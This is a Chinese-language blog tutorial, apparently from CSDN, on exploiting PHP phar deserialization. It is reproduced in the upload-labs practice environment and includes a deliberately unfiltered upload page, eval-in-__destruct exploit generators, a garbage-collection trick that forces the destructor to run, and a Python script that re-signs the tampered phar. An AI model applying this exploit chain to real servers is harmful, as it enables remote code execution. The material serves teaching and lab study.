认识phar

phar是什么?简单来说就是把php压缩而成的打包文件,无需解压,可以通过phar://协议直接读取内容 ,大多数PHP文件操作允许使用各种URL协议去访问文件路径:如data://zlib://php://phar://也是流包装的一种,

phar结构由 4 部分组成

  • stub phar 文件标识,格式为 xxx<?php xxx; __HALT_COMPILER();?>;

  • manifest 压缩文件的属性等信息,以序列化存储;

  • contents 压缩文件的内容;

  • signature 签名,放在文件末尾;

注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。

[Phar]

;phar.readonly = On 首先在php.ini中修改phar.readonly这个选项,去掉前面的分号,并改值为off,由于安全原因该选项默认是on,如果在php.ini中是禁用的(值为0或off),那么在用户脚本中可以开启或关闭,如果在php.ini中是开启的,那么用户脚本是无法关闭的,所以这里设置为off来展示示例。

下面是php代码构造一个phar文件

$phar = new Phar("phar1.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($O); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering(); ?>

二. PHAR文件结构

Phar文件主要包含三至四个部分:

1.a stub stub的基本结构:xxx<?php xxx;__HALT_COMPILER();?>,前面内容不限,可以在前面加上GIF89a,伪造成gif,jpg;但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

2.Phar文件中被压缩的文件的一些信息,其中Meta-data部分的信息会以序列化的形式储存,这里就是漏洞利用的关键点 生成phar文件

<?php
class A{public $code = 'phpinfo();';function __destruct(){eval($this -> output);}
}
$object = new A();
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('<?php __HALT_COMPILER();?>');
$phar -> setMetadata($object);
$phar -> addFromString('test.txt','test');
$phar -> stopBuffering();

生成的phar文件放入010Editor

没有经过 serialize但是反序列化已经生成,可以明显的看到meta-data是以序列化的形式存储的。

官方手册

phar的本质是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方

3.有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:

Stream API是PHP中一种统一的处理文件的方法,并且其被设计为可扩展的,允许任意扩展作者使用 ,仅仅是知道一些受影响的函数,就够了吗?为什么就可以使用了呢?请移步这里

复现phar反序列化漏洞

环境windows,php7.4.3,在upload-labs靶场目录下完成

构造上传页面 up.php 无任何过滤

//php脚本开始
<?
$action=$_POST['action'];
if($action=="submit"){$uploaddir = './';//上传的文件保存在当前目录$uploadfile = $uploaddir . basename($_FILES['fileField']['name']);//取得PHP上传文件名//开始移动PHP上传的临时文件到当前目录下if (move_uploaded_file($_FILES['fileField']['tmp_name'], $uploadfile)) {echo "上传成功.\n";} else {echo "上传失败!\n";} //打印你用PHP上传成功的文件信息!print_r($_FILES);exit;//结束php上传进程
}
?>
<form action="" method="post" enctype="multipart/form-data" name="form1" id="form1">
<input name="action" type="hidden" value="submit" /><p><input type="file" name="fileField" id="fileField" />
</p><p><input type="submit" name="button" id="button" value="提交" />
</p>
</form>

执行页面 phar.php

<?php
if (isset($_GET['data'])){$filename=$_GET['data'];
class AnyClass{var $output = 'echo "ok";';function __destruct(){eval($this -> output);}
}
file_exists($filename);//触发点
}else{highlight_file(__FILE__);
}
//throw new Error("start");
?>

构造exp

<?php
class AnyClass{var $output = 'phpinfo();';function __destruct(){eval($this -> output);}
}
$object = new AnyClass();
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('<?php __HALT_COMPILER();?>');
$phar -> setMetadata($object);
$phar -> addFromString('test.txt','test');
$phar -> stopBuffering();

上传前修改后缀名为.jpg(由于没有过滤 后缀名可任意修改,这里改成jpg)

测试结果

由于phar://shell.xxx不限制后缀名,可以应用长度限制上传;敏感字符过滤(zip···)限制文件类型(jpg gif png···)等多种场合;

如果没有上传界面,要求上传字符串,可以用python先读取文件再发包。

GC回收机制的利用

PHP Garbage Collection简称GC,又名垃圾回收,在PHP中使用引用计数和回收周期来自动管理内存对象的

__dustruct 执行条件

1:对象为null
2:生命周期结束的时候
3:当一个对象被unset (GC)

讲魔术方法时就提到过一个问题,__destruct()无论如何都会被触发,但是前提是必须得完成程序的开始与结束,但是如果程序走了一半,突然报错,那么__destruct()不会触发了,那如果又必须要__destruct()触发又得怎么搞呢?

如上面的phar.php 需要执行AnyClass类中的__destruct()方法才可以命令执行

如果末尾加上throw new Error("start");

因为抛出异常,程序直接报错而没有执行_destruct(),造成所构造的pop链变的无效。

一些数据或者说是变量在进行某些操作后被置为空(NULL)或者是没有地址(指针)的指向,这种数据一旦被当作垃圾回收后就相当于把一个程序的结尾给划上了句号,那么就可以执行__destruct()方法了

对exp进行修改

<?php
class AnyClass{var $output = 'phpinfo();';function __destruct(){eval($this -> output);}
}
$object = new AnyClass();
$c=array(0=>$object,1=>NULL);
$phar = new Phar('exp.phar');
$phar -> startBuffering();
$phar -> setStub('<?php __HALT_COMPILER();?>');
$phar -> setMetadata($c);
$phar -> addFromString('test.txt','test');
$phar -> stopBuffering();?>

可以看到新生成的$c有两个键,分别指向$object与NULL

联想到对象指针置换为NULL触发GC回收,在010Editor修改,注意必须修改16进制;

然后修改签名

from hashlib import sha1
f = open('./exp.phar', 'rb').read() # 修改内容后的phar文件
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
open('exp.phar', 'wb').write(newf) # 写入新文件

再次上传,url访问。

测试成功

参考:重新认识反序列化-Phar (lmxspace.com)

浅谈PHP中GC回收机制的利用_errorr0的博客-CSDN博客

【phar反序列化与GC回收机制的利用】相关推荐

  1. java gc回收机制种类_JAVA的垃圾回收机制(GC)

    1.什么是垃圾回收? 垃圾回收(Garbage Collection)是Java虚拟机(JVM)垃圾回收器提供的一种用于在空闲时间不定时回收无任何对象引用的对象占据的内存空间的一种机制. 2.什么时候 ...

  2. Android工程师进阶第一课 夯实Java基础 JVM内存模型和GC回收机制

    开篇词:跳出舒适区,走在Android行业的前端 你好,我是姜新星,一个深耕 Andorid 领域的老工程师. 记得 2010 年毕业典礼上,某位老师说"你们是最幸福的一届毕业生,正好赶上中 ...

  3. java gc回收机制_Java中的GC回收机制

    为什么要进行GC回收? 当我们新建一个对象时,系统就会为其分配一定的内存空间,而有时候新建的对象没有去使用时,不回收的话会极大浪费内存空间,造成系统效率低下. 什么时候进行GC回收? 1.当CPU空闲 ...

  4. java gc回收机制种类_Java垃圾回收机制

    对象被判定为垃圾的算法 引用计数算法 和 可达性分析算法 引用计数算法 判断对象的引用数量通过判断对象的引用数量来决定对象是否可以被回收 每个对象实例都有一个引用计数器,被引用+1,完成引用-1 任何 ...

  5. PHP之phar反序列化

    前言 phar反序列化来自Secarma的安全研究员Sam Thomas发现了一种新的漏洞利用方式.或许有人对phar的理解只停留在phar://协议中甚至连phar协议都没有听过,至少在了解phar ...

  6. Android进阶——性能优化之内存管理机制和垃圾采集回收机制(六)

    文章大纲 引言 一.内存泄漏和内存溢出概述 二.Java运行时内存模型 1.线程私有数据区 1.1.程序计数器PC 1.2.虚拟机栈 1.3 本地方法栈 2.所有线程共享数据区 2.1.Java堆 2 ...

  7. python垃圾回收离职_详细解说python垃圾回收机制

    不同于C/C++,像Python这样的语言是不需要程序员写代码来管理内存的,它的GC(Garbage Collection)机制 实现了自动内存管理.GC做的事情就是解放程序员的双手,找出内存中不用的 ...

  8. Java jvm 内存回收机制

    原文:Java jvm 内存回收机制 源代码下载地址:http://www.zuidaima.com/share/1782298898271232.htm 在Java中,它的内存管理包括两方面:内存分 ...

  9. Java-JVM虚拟机内存垃圾回收机制gc入门:引用类型,对象标记算法,回收算法,常见的 garbage collector

    文章目录 GC的优缺点 引用的四种类型 对象标记算法 引用计数法 可达性分析法 回收算法 标记-清除算法(Mark-Sweep) 复制算法 标记-整理算法(Mark-Compact) 分代收集算法 常 ...

最新文章

  1. HC-05与HC-06的AT指令的区别
  2. 用osgEarth实现Cesium的后处理特效(1)
  3. R语言dplyr包使用bind_rows函数纵向合并两个dataframe(行生长)、使用bind_cols函数横向合并两个dataframe(列生长)
  4. 美国匹兹堡大学高伟教授招收Mobile AI方向全奖博士生
  5. 前沿|Google AI提新型神经网络,对神经元进行高精度自动重建
  6. 自签名证书说明——自签名证书的Issuer和Subject是一样的。不安全的原因是:没有得到专业SSL证书颁发的机构的技术支持?比如使用不安全的1024位非对称密钥对,有效期设置很长等...
  7. javafx中的tree_JavaFX中的塔防(2)
  8. Java EE MVC:处理表单验证
  9. (二分+区间搜索 )Mountain Walking(poj2110/poj2922)
  10. 【Keil】Keil5无法更改背景色和字体解决方案
  11. 使用 powershell 的 grep 过滤文本
  12. git学习(六)git数据管理机制,分支管理
  13. IntelliJ平台将完全停止使用Log4j
  14. 微信公众号开发获取code
  15. java学生签到系统代码_java学生考勤签到代码【相关词_ 学生考勤系统java代码】...
  16. matlab中的imnoise信噪比,matlab语法fn=imnoise(f,'gaussian',0,0.02)是给f添加高斯噪声,其中数值0和0.02分别表示___和___?...
  17. 【转】翟永超大牛的 博客,SpringBoot SpringCloud应有尽有,转发请备注
  18. C语言面试题---结构体
  19. oracle11g回闪,oracle11gdroptable后闪回-Oracle
  20. (八)《跟我一起写Makefile》之使用函数

热门文章

  1. IPFS的优势和不足
  2. 集丰照明|LED灯光照明控制协议(系统)- DALI
  3. jQuery的toggle
  4. 使用VBA在Office中输入特殊字符(续)
  5. 湖南大学21夏训练四2.最简单的计算机
  6. 服务器每个月维护要1000元,Mc_不败神话官网
  7. Vue3系列(三)之CDN引入依赖包优化打包速率
  8. php抓取商品信息,PHP採集抓取淘寶網單個商品信息的方法思路
  9. 网站搜索设计 读书笔记
  10. 8月份全国各地快递转运和时效数据分析-百递指数